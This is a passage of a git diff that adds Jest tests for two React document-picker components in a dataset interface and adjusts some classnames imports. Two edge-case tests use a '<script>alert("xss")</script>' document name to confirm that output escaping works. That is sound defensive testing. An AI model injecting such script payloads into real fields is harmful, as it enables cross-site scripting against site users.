+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should handle empty document list', () => {
+      mockDocumentListData = { data: [] }
+
+      renderComponent()
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle undefined data response', () => {
+      mockDocumentListData = undefined
+
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should export as React.memo wrapped component', () => {
+      // Check that the component is memoized
+      expect(DocumentPicker).toBeDefined()
+      expect(typeof DocumentPicker).toBe('object') // React.memo returns an object
+    })
+
+    it('should preserve render output when datasetId is the same', () => {
+      const queryClient = createTestQueryClient()
+      const value = {
+        name: 'Memo Test',
+        extension: 'txt',
+        chunkingMode: ChunkingMode.text,
+      }
+      const onChange = jest.fn()
+
+      const { rerender } = render(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="same-dataset"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Memo Test')).toBeInTheDocument()
+
+      rerender(
+        <QueryClientProvider client={queryClient}>
+          <DocumentPicker
+            datasetId="same-dataset"
+            value={value}
+            onChange={onChange}
+          />
+        </QueryClientProvider>,
+      )
+
+      expect(screen.getByText('Memo Test')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases and error handling
+  describe('Edge Cases', () => {
+    it('should handle null name', () => {
+      renderComponent({
+        value: {
+          name: undefined,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle empty string name', () => {
+      renderComponent({
+        value: {
+          name: '',
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Empty string is falsy, so should show '--'
+      expect(screen.queryByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle undefined extension', () => {
+      renderComponent({
+        value: {
+          name: 'Test Doc',
+          extension: undefined,
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Should not crash
+      expect(screen.getByText('Test Doc')).toBeInTheDocument()
+    })
+
+    it('should handle undefined chunkingMode', () => {
+      renderComponent({
+        value: {
+          name: 'Test Doc',
+          extension: 'txt',
+          chunkingMode: undefined,
+        },
+      })
+
+      // When chunkingMode is undefined, none of the mode conditions are true
+      expect(screen.getByText('Test Doc')).toBeInTheDocument()
+    })
+
+    it('should handle document without data_source_detail_dict', () => {
+      const docWithoutDetail = createMockDocument({
+        id: 'doc-no-detail',
+        name: 'Doc Without Detail',
+        data_source_detail_dict: undefined,
+      })
+      mockDocumentListData = { data: [docWithoutDetail] }
+
+      // Component should handle mapping documents even without data_source_detail_dict
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle rapid toggle clicks', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Rapid clicks
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+
+      // Should not crash
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should handle very long document names in trigger', () => {
+      const longName = 'A'.repeat(500)
+      renderComponent({
+        value: {
+          name: longName,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // Should render long name without crashing
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in document name', () => {
+      const specialName = '<script>alert("xss")</script>'
+      renderComponent({
+        value: {
+          name: specialName,
+          extension: 'txt',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // React should escape the text
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle documents with missing extension in data_source_detail_dict', () => {
+      const docWithEmptyExtension = createMockDocument({
+        id: 'doc-empty-ext',
+        name: 'Doc Empty Ext',
+        data_source_detail_dict: {
+          upload_file: {
+            name: 'file-no-ext',
+            extension: '',
+          },
+        },
+      })
+      mockDocumentListData = { data: [docWithEmptyExtension] }
+
+      // Component should handle mapping documents with empty extension
+      renderComponent()
+
+      // Should not crash
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle document list mapping with various data_source_detail_dict states', () => {
+      // Test the mapping logic: d.data_source_detail_dict?.upload_file?.extension || ''
+      const docs = [
+        createMockDocument({
+          id: 'doc-1',
+          name: 'With Extension',
+          data_source_detail_dict: {
+            upload_file: { name: 'file.pdf', extension: 'pdf' },
+          },
+        }),
+        createMockDocument({
+          id: 'doc-2',
+          name: 'Without Detail Dict',
+          data_source_detail_dict: undefined,
+        }),
+      ]
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // Should not crash during mapping
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for all prop variations
+  describe('Prop Variations', () => {
+    describe('datasetId variations', () => {
+      it('should handle empty datasetId', () => {
+        renderComponent({ datasetId: '' })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
+      it('should handle UUID format datasetId', () => {
+        renderComponent({ datasetId: '123e4567-e89b-12d3-a456-426614174000' })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+    })
+
+    describe('value.chunkingMode variations', () => {
+      const chunkingModes = [
+        { mode: ChunkingMode.text, label: 'dataset.chunkingMode.general' },
+        { mode: ChunkingMode.qa, label: 'dataset.chunkingMode.qa' },
+        { mode: ChunkingMode.parentChild, label: 'dataset.chunkingMode.parentChild' },
+      ]
+
+      test.each(chunkingModes)(
+        'should display correct label for $mode mode',
+        ({ mode, label }) => {
+          renderComponent({
+            value: {
+              name: 'Test',
+              extension: 'txt',
+              chunkingMode: mode,
+              parentMode: mode === ChunkingMode.parentChild ? 'paragraph' : undefined,
+            },
+          })
+
+          expect(screen.getByText(new RegExp(label))).toBeInTheDocument()
+        },
+      )
+    })
+
+    describe('value.parentMode variations', () => {
+      const parentModes: Array<{ mode: ParentMode; label: string }> = [
+        { mode: 'paragraph', label: 'dataset.parentMode.paragraph' },
+        { mode: 'full-doc', label: 'dataset.parentMode.fullDoc' },
+      ]
+
+      test.each(parentModes)(
+        'should display correct label for $mode parentMode',
+        ({ mode, label }) => {
+          renderComponent({
+            value: {
+              name: 'Test',
+              extension: 'txt',
+              chunkingMode: ChunkingMode.parentChild,
+              parentMode: mode,
+            },
+          })
+
+          expect(screen.getByText(new RegExp(label))).toBeInTheDocument()
+        },
+      )
+    })
+
+    describe('value.extension variations', () => {
+      const extensions = ['txt', 'pdf', 'docx', 'xlsx', 'csv', 'md', 'html']
+
+      test.each(extensions)('should handle %s extension', (ext) => {
+        renderComponent({
+          value: {
+            name: `File.${ext}`,
+            extension: ext,
+            chunkingMode: ChunkingMode.text,
+          },
+        })
+
+        expect(screen.getByText(`File.${ext}`)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Tests for document selection
+  describe('Document Selection', () => {
+    it('should fetch documents list via useDocumentList', () => {
+      const mockDoc = createMockDocument({
+        id: 'selected-doc',
+        name: 'Selected Document',
+      })
+      mockDocumentListData = { data: [mockDoc] }
+      const onChange = jest.fn()
+
+      renderComponent({ onChange })
+
+      // Verify the hook was called
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should call onChange when document is selected', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+      const onChange = jest.fn()
+
+      renderComponent({ onChange })
+
+      // Click on a document in the list
+      fireEvent.click(screen.getByText('Document 2'))
+
+      // handleChange should find the document and call onChange with full document
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(docs[1])
+    })
+
+    it('should map document list items correctly', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // Documents should be rendered in the list
+      expect(screen.getByText('Document 1')).toBeInTheDocument()
+      expect(screen.getByText('Document 2')).toBeInTheDocument()
+      expect(screen.getByText('Document 3')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for integration with child components
+  describe('Child Component Integration', () => {
+    it('should pass correct data to DocumentList when popup is open', () => {
+      const docs = createMockDocumentList(3)
+      mockDocumentListData = { data: docs }
+
+      renderComponent()
+
+      // DocumentList receives mapped documents: { id, name, extension }
+      // We verify the data is fetched
+      const { useDocumentList } = jest.requireMock('@/service/knowledge/use-document')
+      expect(useDocumentList).toHaveBeenCalled()
+    })
+
+    it('should map document data_source_detail_dict extension correctly', () => {
+      const doc = createMockDocument({
+        id: 'mapped-doc',
+        name: 'Mapped Document',
+        data_source_detail_dict: {
+          upload_file: {
+            name: 'mapped.pdf',
+            extension: 'pdf',
+          },
+        },
+      })
+      mockDocumentListData = { data: [doc] }
+
+      renderComponent()
+
+      // The mapping: d.data_source_detail_dict?.upload_file?.extension || ''
+      // Should extract 'pdf' from the document
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render trigger with SearchInput integration', () => {
+      renderComponent()
+
+      // The trigger is always rendered
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should integrate FileIcon component', () => {
+      // Use empty document list to avoid duplicate icons from list
+      mockDocumentListData = { data: [] }
+
+      renderComponent({
+        value: {
+          name: 'test.pdf',
+          extension: 'pdf',
+          chunkingMode: ChunkingMode.text,
+        },
+      })
+
+      // FileIcon should be rendered via DocumentFileIcon - pdf renders pdf icon
+      expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for visual states
+  describe('Visual States', () => {
+    it('should apply hover styles on trigger', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const clickableDiv = trigger.querySelector('div')
+
+      expect(clickableDiv).toHaveClass('hover:bg-state-base-hover')
+    })
+
+    it('should render portal content for document selection', () => {
+      renderComponent()
+
+      // Portal content is rendered in our mock for testing
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/document-picker/index.tsx b/web/app/components/datasets/common/document-picker/index.tsx
index 0629ff0e48..5fee49d7db 100644
--- a/web/app/components/datasets/common/document-picker/index.tsx
+++ b/web/app/components/datasets/common/document-picker/index.tsx
@@ -13,7 +13,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import SearchInput from '@/app/components/base/search-input'
 import { GeneralChunk, ParentChildChunk } from '@/app/components/base/icons/src/vender/knowledge'
 import { useDocumentList } from '@/service/knowledge/use-document'
diff --git a/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx
new file mode 100644
index 0000000000..737ef8b6dc
--- /dev/null
+++ b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx
@@ -0,0 +1,641 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import type { DocumentItem } from '@/models/datasets'
+import PreviewDocumentPicker from './preview-document-picker'
+
+// Override shared i18n mock for custom translations
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, unknown>) => {
+      if (key === 'dataset.preprocessDocument' && params?.num)
+        return `${params.num} files`
+
+      return key
+    },
+  }),
+}))
+
+// Mock portal-to-follow-elem - always render content for testing
+jest.mock('@/app/components/base/portal-to-follow-elem', () => ({
+  PortalToFollowElem: ({ children, open }: {
+    children: React.ReactNode
+    open?: boolean
+  }) => (
+    <div data-testid="portal-elem" data-open={String(open || false)}>
+      {children}
+    </div>
+  ),
+  PortalToFollowElemTrigger: ({ children, onClick }: {
+    children: React.ReactNode
+    onClick?: () => void
+  }) => (
+    <div data-testid="portal-trigger" onClick={onClick}>
+      {children}
+    </div>
+  ),
+  // Always render content to allow testing document selection
+  PortalToFollowElemContent: ({ children, className }: {
+    children: React.ReactNode
+    className?: string
+  }) => (
+    <div data-testid="portal-content" className={className}>
+      {children}
+    </div>
+  ),
+}))
+
+// Mock icons
+jest.mock('@remixicon/react', () => ({
+  RiArrowDownSLine: () => <span data-testid="arrow-icon">↓</span>,
+  RiFile3Fill: () => <span data-testid="file-icon">📄</span>,
+  RiFileCodeFill: () => <span data-testid="file-code-icon">📄</span>,
+  RiFileExcelFill: () => <span data-testid="file-excel-icon">📄</span>,
+  RiFileGifFill: () => <span data-testid="file-gif-icon">📄</span>,
+  RiFileImageFill: () => <span data-testid="file-image-icon">📄</span>,
+  RiFileMusicFill: () => <span data-testid="file-music-icon">📄</span>,
+  RiFilePdf2Fill: () => <span data-testid="file-pdf-icon">📄</span>,
+  RiFilePpt2Fill: () => <span data-testid="file-ppt-icon">📄</span>,
+  RiFileTextFill: () => <span data-testid="file-text-icon">📄</span>,
+  RiFileVideoFill: () => <span data-testid="file-video-icon">📄</span>,
+  RiFileWordFill: () => <span data-testid="file-word-icon">📄</span>,
+  RiMarkdownFill: () => <span data-testid="file-markdown-icon">📄</span>,
+}))
+
+// Factory function to create mock DocumentItem
+const createMockDocumentItem = (overrides: Partial<DocumentItem> = {}): DocumentItem => ({
+  id: `doc-${Math.random().toString(36).substr(2, 9)}`,
+  name: 'Test Document',
+  extension: 'txt',
+  ...overrides,
+})
+
+// Factory function to create multiple document items
+const createMockDocumentList = (count: number): DocumentItem[] => {
+  return Array.from({ length: count }, (_, index) =>
+    createMockDocumentItem({
+      id: `doc-${index + 1}`,
+      name: `Document ${index + 1}`,
+      extension: index % 2 === 0 ? 'pdf' : 'txt',
+    }),
+  )
+}
+
+// Factory function to create default props
+const createDefaultProps = (overrides: Partial<React.ComponentProps<typeof PreviewDocumentPicker>> = {}) => ({
+  value: createMockDocumentItem({ id: 'selected-doc', name: 'Selected Document' }),
+  files: createMockDocumentList(3),
+  onChange: jest.fn(),
+  ...overrides,
+})
+
+// Helper to render component with default props
+const renderComponent = (props: Partial<React.ComponentProps<typeof PreviewDocumentPicker>> = {}) => {
+  const defaultProps = createDefaultProps(props)
+  return {
+    ...render(<PreviewDocumentPicker {...defaultProps} />),
+    props: defaultProps,
+  }
+}
+
+describe('PreviewDocumentPicker', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Tests for basic rendering
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should render document name from value prop', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'My Document' }),
+      })
+
+      expect(screen.getByText('My Document')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is empty', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: '' }),
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render placeholder when name is undefined', () => {
+      renderComponent({
+        value: { id: 'doc-1', extension: 'txt' } as DocumentItem,
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should render arrow icon', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('arrow-icon')).toBeInTheDocument()
+    })
+
+    it('should render file icon', () => {
+      renderComponent({
+        value: createMockDocumentItem({ extension: 'txt' }),
+        files: [], // Use empty files to avoid duplicate icons
+      })
+
+      expect(screen.getByTestId('file-text-icon')).toBeInTheDocument()
+    })
+
+    it('should render pdf icon for pdf extension', () => {
+      renderComponent({
+        value: createMockDocumentItem({ extension: 'pdf' }),
+        files: [], // Use empty files to avoid duplicate icons
+      })
+
+      expect(screen.getByTestId('file-pdf-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for props handling
+  describe('Props', () => {
+    it('should accept required props', () => {
+      const props = createDefaultProps()
+      render(<PreviewDocumentPicker {...props} />)
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should apply className to trigger element', () => {
+      renderComponent({ className: 'custom-class' })
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const innerDiv = trigger.querySelector('.custom-class')
+      expect(innerDiv).toBeInTheDocument()
+    })
+
+    it('should handle empty files array', () => {
+      // Component should render without crashing with empty files
+      renderComponent({ files: [] })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle single file', () => {
+      // Component should accept single file
+      renderComponent({
+        files: [createMockDocumentItem({ id: 'single-doc', name: 'Single File' })],
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle multiple files', () => {
+      // Component should accept multiple files
+      renderComponent({
+        files: createMockDocumentList(5),
+      })
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should use value.extension for file icon', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'test.docx', extension: 'docx' }),
+      })
+
+      expect(screen.getByTestId('file-word-icon')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for state management
+  describe('State Management', () => {
+    it('should initialize with popup closed', () => {
+      renderComponent()
+
+      expect(screen.getByTestId('portal-elem')).toHaveAttribute('data-open', 'false')
+    })
+
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should render portal content for document selection', () => {
+      renderComponent()
+
+      // Portal content is always rendered in our mock for testing
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for callback stability and memoization
+  describe('Callback Stability', () => {
+    it('should maintain stable onChange callback when value changes', () => {
+      const onChange = jest.fn()
+      const value1 = createMockDocumentItem({ id: 'doc-1', name: 'Doc 1' })
+      const value2 = createMockDocumentItem({ id: 'doc-2', name: 'Doc 2' })
+
+      const { rerender } = render(
+        <PreviewDocumentPicker
+          value={value1}
+          files={createMockDocumentList(3)}
+          onChange={onChange}
+        />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker
+          value={value2}
+          files={createMockDocumentList(3)}
+          onChange={onChange}
+        />,
+      )
+
+      expect(screen.getByText('Doc 2')).toBeInTheDocument()
+    })
+
+    it('should use updated onChange callback after rerender', () => {
+      const onChange1 = jest.fn()
+      const onChange2 = jest.fn()
+      const value = createMockDocumentItem()
+      const files = createMockDocumentList(3)
+
+      const { rerender } = render(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange1} />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange2} />,
+      )
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for component memoization
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      expect((PreviewDocumentPicker as any).$$typeof).toBeDefined()
+    })
+
+    it('should not re-render when props are the same', () => {
+      const onChange = jest.fn()
+      const value = createMockDocumentItem()
+      const files = createMockDocumentList(3)
+
+      const { rerender } = render(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange} />,
+      )
+
+      rerender(
+        <PreviewDocumentPicker value={value} files={files} onChange={onChange} />,
+      )
+
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for user interactions
+  describe('User Interactions', () => {
+    it('should toggle popup when trigger is clicked', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+
+    it('should render document list with files', () => {
+      const files = createMockDocumentList(3)
+      renderComponent({ files })
+
+      // Documents should be visible in the list
+      expect(screen.getByText('Document 1')).toBeInTheDocument()
+      expect(screen.getByText('Document 2')).toBeInTheDocument()
+      expect(screen.getByText('Document 3')).toBeInTheDocument()
+    })
+
+    it('should call onChange when document is selected', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click on a document
+      fireEvent.click(screen.getByText('Document 2'))
+
+      // handleChange should call onChange with the selected item
+      expect(onChange).toHaveBeenCalledTimes(1)
+      expect(onChange).toHaveBeenCalledWith(files[1])
+    })
+
+    it('should handle rapid toggle clicks', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Rapid clicks
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+      fireEvent.click(trigger)
+
+      expect(trigger).toBeInTheDocument()
+    })
+  })
+
+  // Tests for edge cases
+  describe('Edge Cases', () => {
+    it('should handle null value properties gracefully', () => {
+      renderComponent({
+        value: { id: 'doc-1', name: '', extension: '' },
+      })
+
+      expect(screen.getByText('--')).toBeInTheDocument()
+    })
+
+    it('should handle empty files array', () => {
+      renderComponent({ files: [] })
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle very long document names', () => {
+      const longName = 'A'.repeat(500)
+      renderComponent({
+        value: createMockDocumentItem({ name: longName }),
+      })
+
+      expect(screen.getByText(longName)).toBeInTheDocument()
+    })
+
+    it('should handle special characters in document name', () => {
+      const specialName = '<script>alert("xss")</script>'
+      renderComponent({
+        value: createMockDocumentItem({ name: specialName }),
+      })
+
+      expect(screen.getByText(specialName)).toBeInTheDocument()
+    })
+
+    it('should handle undefined files prop', () => {
+      // Test edge case where files might be undefined at runtime
+      const props = createDefaultProps()
+      // @ts-expect-error - Testing runtime edge case
+      props.files = undefined
+
+      render(<PreviewDocumentPicker {...props} />)
+
+      // Component should render without crashing
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle large number of files', () => {
+      const manyFiles = createMockDocumentList(100)
+      renderComponent({ files: manyFiles })
+
+      // Component should accept large files array
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+
+    it('should handle files with same name but different extensions', () => {
+      const files = [
+        createMockDocumentItem({ id: 'doc-1', name: 'document', extension: 'pdf' }),
+        createMockDocumentItem({ id: 'doc-2', name: 'document', extension: 'txt' }),
+      ]
+      renderComponent({ files })
+
+      // Component should handle duplicate names
+      expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for prop variations
+  describe('Prop Variations', () => {
+    describe('value variations', () => {
+      it('should handle value with all fields', () => {
+        renderComponent({
+          value: {
+            id: 'full-doc',
+            name: 'Full Document',
+            extension: 'pdf',
+          },
+        })
+
+        expect(screen.getByText('Full Document')).toBeInTheDocument()
+      })
+
+      it('should handle value with minimal fields', () => {
+        renderComponent({
+          value: { id: 'minimal', name: '', extension: '' },
+        })
+
+        expect(screen.getByText('--')).toBeInTheDocument()
+      })
+    })
+
+    describe('files variations', () => {
+      it('should handle single file', () => {
+        renderComponent({
+          files: [createMockDocumentItem({ name: 'Single' })],
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
+      it('should handle two files', () => {
+        renderComponent({
+          files: createMockDocumentList(2),
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+
+      it('should handle many files', () => {
+        renderComponent({
+          files: createMockDocumentList(50),
+        })
+
+        expect(screen.getByTestId('portal-elem')).toBeInTheDocument()
+      })
+    })
+
+    describe('className variations', () => {
+      it('should apply custom className', () => {
+        renderComponent({ className: 'my-custom-class' })
+
+        const trigger = screen.getByTestId('portal-trigger')
+        expect(trigger.querySelector('.my-custom-class')).toBeInTheDocument()
+      })
+
+      it('should work without className', () => {
+        renderComponent({ className: undefined })
+
+        expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      })
+
+      it('should handle multiple class names', () => {
+        renderComponent({ className: 'class-one class-two' })
+
+        const trigger = screen.getByTestId('portal-trigger')
+        const element = trigger.querySelector('.class-one')
+        expect(element).toBeInTheDocument()
+        expect(element).toHaveClass('class-two')
+      })
+    })
+
+    describe('extension variations', () => {
+      const extensions = [
+        { ext: 'txt', icon: 'file-text-icon' },
+        { ext: 'pdf', icon: 'file-pdf-icon' },
+        { ext: 'docx', icon: 'file-word-icon' },
+        { ext: 'xlsx', icon: 'file-excel-icon' },
+        { ext: 'md', icon: 'file-markdown-icon' },
+      ]
+
+      test.each(extensions)('should render correct icon for $ext extension', ({ ext, icon }) => {
+        renderComponent({
+          value: createMockDocumentItem({ extension: ext }),
+          files: [], // Use empty files to avoid duplicate icons
+        })
+
+        expect(screen.getByTestId(icon)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // Tests for document list rendering
+  describe('Document List Rendering', () => {
+    it('should render all documents in the list', () => {
+      const files = createMockDocumentList(5)
+      renderComponent({ files })
+
+      // All documents should be visible
+      files.forEach((file) => {
+        expect(screen.getByText(file.name)).toBeInTheDocument()
+      })
+    })
+
+    it('should pass onChange handler to DocumentList', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click on first document
+      fireEvent.click(screen.getByText('Document 1'))
+
+      expect(onChange).toHaveBeenCalledWith(files[0])
+    })
+
+    it('should show count header only for multiple files', () => {
+      // Single file - no header
+      const { rerender } = render(
+        <PreviewDocumentPicker
+          value={createMockDocumentItem()}
+          files={[createMockDocumentItem({ name: 'Single File' })]}
+          onChange={jest.fn()}
+        />,
+      )
+      expect(screen.queryByText(/files/)).not.toBeInTheDocument()
+
+      // Multiple files - show header
+      rerender(
+        <PreviewDocumentPicker
+          value={createMockDocumentItem()}
+          files={createMockDocumentList(3)}
+          onChange={jest.fn()}
+        />,
+      )
+      expect(screen.getByText('3 files')).toBeInTheDocument()
+    })
+  })
+
+  // Tests for visual states
+  describe('Visual States', () => {
+    it('should apply hover styles on trigger', () => {
+      renderComponent()
+
+      const trigger = screen.getByTestId('portal-trigger')
+      const innerDiv = trigger.querySelector('.hover\\:bg-state-base-hover')
+      expect(innerDiv).toBeInTheDocument()
+    })
+
+    it('should have truncate class for long names', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'Very Long Document Name' }),
+      })
+
+      const nameElement = screen.getByText('Very Long Document Name')
+      expect(nameElement).toHaveClass('truncate')
+    })
+
+    it('should have max-width on name element', () => {
+      renderComponent({
+        value: createMockDocumentItem({ name: 'Test' }),
+      })
+
+      const nameElement = screen.getByText('Test')
+      expect(nameElement).toHaveClass('max-w-[200px]')
+    })
+  })
+
+  // Tests for handleChange callback
+  describe('handleChange Callback', () => {
+    it('should call onChange with selected document item', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Click first document
+      fireEvent.click(screen.getByText('Document 1'))
+
+      expect(onChange).toHaveBeenCalledWith(files[0])
+    })
+
+    it('should handle different document items in files', () => {
+      const onChange = jest.fn()
+      const customFiles = [
+        { id: 'custom-1', name: 'Custom File 1', extension: 'pdf' },
+        { id: 'custom-2', name: 'Custom File 2', extension: 'txt' },
+      ]
+
+      renderComponent({ files: customFiles, onChange })
+
+      // Click on first custom file
+      fireEvent.click(screen.getByText('Custom File 1'))
+      expect(onChange).toHaveBeenCalledWith(customFiles[0])
+
+      // Click on second custom file
+      fireEvent.click(screen.getByText('Custom File 2'))
+      expect(onChange).toHaveBeenCalledWith(customFiles[1])
+    })
+
+    it('should work with multiple sequential selections', () => {
+      const onChange = jest.fn()
+      const files = createMockDocumentList(3)
+
+      renderComponent({ files, onChange })
+
+      // Select multiple documents sequentially
+      fireEvent.click(screen.getByText('Document 1'))
+      fireEvent.click(screen.getByText('Document 3'))
+      fireEvent.click(screen.getByText('Document 2'))
+
+      expect(onChange).toHaveBeenCalledTimes(3)
+      expect(onChange).toHaveBeenNthCalledWith(1, files[0])
+      expect(onChange).toHaveBeenNthCalledWith(2, files[2])
+      expect(onChange).toHaveBeenNthCalledWith(3, files[1])
+    })
+  })
+})
diff --git a/web/app/components/datasets/common/document-picker/preview-document-picker.tsx b/web/app/components/datasets/common/document-picker/preview-document-picker.tsx
index b6ffa520a8..907d075893 100644
--- a/web/app/components/datasets/common/document-picker/preview-document-picker.tsx
+++ b/web/app/components/datasets/common/document-picker/preview-document-picker.tsx
@@ -11,7 +11,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Loading from '@/app/components/base/loading'
 import type { DocumentItem } from '@/models/datasets'
 
diff --git a/web/app/components/datasets/common/document-status-with-action/status-with-action.tsx b/web/app/components/datasets/common/document-status-with-action/status-with-action.tsx
index 0314b26fde..9edad28e65 100644
--- a/web/app/components/datasets/common/document-status-with-action/status-with-action.tsx
+++ b/web/app/components/datasets/common/document-status-with-action/status-with-action.tsx
@@ -2,7 +2,7 @@
 import { RiAlertFill, RiCheckboxCircleFill, RiErrorWarningFill, RiInformation2Fill } from '@remixicon/react'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 
 type Status = 'success' | 'error' | 'warning' | 'info'
diff --git a/web/app/components/datasets/common/image-list/index.tsx b/web/app/components/datasets/common/image-list/index.tsx
index 8b0cf62e4a..8084b6eac6 100644
--- a/web/app/components/datasets/common/image-list/index.tsx
+++ b/web/app/components/datasets/common/image-list/index.tsx
@@ -1,7 +1,7 @@
 import { useCallback, useMemo, useState } from 'react'
 import type { FileEntity } from '@/app/components/base/file-thumb'
 import FileThumb from '@/app/components/base/file-thumb'
-import cn from '@/utils/classnames'
